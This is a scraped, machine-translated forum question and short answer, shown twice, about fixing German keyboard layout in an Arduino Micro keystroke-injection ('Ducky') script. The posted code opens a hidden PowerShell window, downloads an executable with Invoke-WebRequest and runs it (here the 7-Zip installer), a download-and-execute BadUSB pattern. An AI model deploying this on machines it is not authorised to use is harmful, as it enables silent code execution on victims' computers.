运行 Arduino 中带有德语键盘布局的 Ducky 脚本?
Running Ducky Script in Arduino with German Keyboard Layout?
我想将我的 Arduino Micro 用作 HID。我正在使用名为 Keyboard.h 的库。如果我 运行 我的脚本并且我让脚本键入“z”或“y”等字母或任何特殊字母,它会键入完全不同的字母。这是因为我的 Windows 机器上的键盘布局吗?如果是,我该如何解决。这是我的代码:
#include <Keyboard.h>
/*
* Developer @root_haxor !
*/
// Init function
void setup()
{
// Begining the stream
Keyboard.begin();
// Waiting 500ms for init
delay(500);
// You can remove this Delay line in the beginning (I just rather having it just in case)
delay(6000);
// open the Run
Keyboard.press(KEY_LEFT_GUI);
Keyboard.press(114);
Keyboard.releaseAll();
// Change this value depending on the computer you are using ( i mean slow or not )
delay(100);
Keyboard.print("powershell -windowstyle hidden");
typeKey(KEY_RETURN);
// the shell usually takes a few seconds to fully run so i put a delay just in case .
delay(1000);
// I just wanted to note that the file can be an EXE or JAR file doesn't really matter.
// in the destination if you put the fileName only, the file will be saved under C:\Users\LoggedInUser
Keyboard.print("$source = \"https://www.7-zip.org/a/7z1900-x64.exe\"; $destination = \"7zip.exe\"; Invoke-WebRequest $source -OutFile $destination;");
typeKey(KEY_RETURN);
delay(5000);
Keyboard.print("start-process 7zip.exe");
typeKey(KEY_RETURN);
delay(100);
Keyboard.print("exit");
typeKey(KEY_RETURN);
}
void typeKey(int key)
{
Keyboard.press(key);
delay(50);
Keyboard.release(key);
}
// Unused
void loop() {}
感谢帮助!
https://www.arduino.cc/reference/en/language/functions/usb/keyboard/keyboardbegin/
如果它说:
my_code:8:18: error: 'KeyboardLayout_de_DE' was not declared in this scope
Keyboard.begin(KeyboardLayout_de_DE);
'KeyboardLayout_de_DE' was not declared in this scope
更新到 1.0.3
我想将我的 Arduino Micro 用作 HID。我正在使用名为 Keyboard.h 的库。如果我 运行 我的脚本并且我让脚本键入“z”或“y”等字母或任何特殊字母,它会键入完全不同的字母。这是因为我的 Windows 机器上的键盘布局吗?如果是,我该如何解决。这是我的代码:
#include <Keyboard.h>
/*
* Developer @root_haxor !
*/
// Init function
void setup()
{
// Begining the stream
Keyboard.begin();
// Waiting 500ms for init
delay(500);
// You can remove this Delay line in the beginning (I just rather having it just in case)
delay(6000);
// open the Run
Keyboard.press(KEY_LEFT_GUI);
Keyboard.press(114);
Keyboard.releaseAll();
// Change this value depending on the computer you are using ( i mean slow or not )
delay(100);
Keyboard.print("powershell -windowstyle hidden");
typeKey(KEY_RETURN);
// the shell usually takes a few seconds to fully run so i put a delay just in case .
delay(1000);
// I just wanted to note that the file can be an EXE or JAR file doesn't really matter.
// in the destination if you put the fileName only, the file will be saved under C:\Users\LoggedInUser
Keyboard.print("$source = \"https://www.7-zip.org/a/7z1900-x64.exe\"; $destination = \"7zip.exe\"; Invoke-WebRequest $source -OutFile $destination;");
typeKey(KEY_RETURN);
delay(5000);
Keyboard.print("start-process 7zip.exe");
typeKey(KEY_RETURN);
delay(100);
Keyboard.print("exit");
typeKey(KEY_RETURN);
}
void typeKey(int key)
{
Keyboard.press(key);
delay(50);
Keyboard.release(key);
}
// Unused
void loop() {}
感谢帮助!
https://www.arduino.cc/reference/en/language/functions/usb/keyboard/keyboardbegin/
如果它说:
my_code:8:18: error: 'KeyboardLayout_de_DE' was not declared in this scope
Keyboard.begin(KeyboardLayout_de_DE);
'KeyboardLayout_de_DE' was not declared in this scope
更新到 1.0.3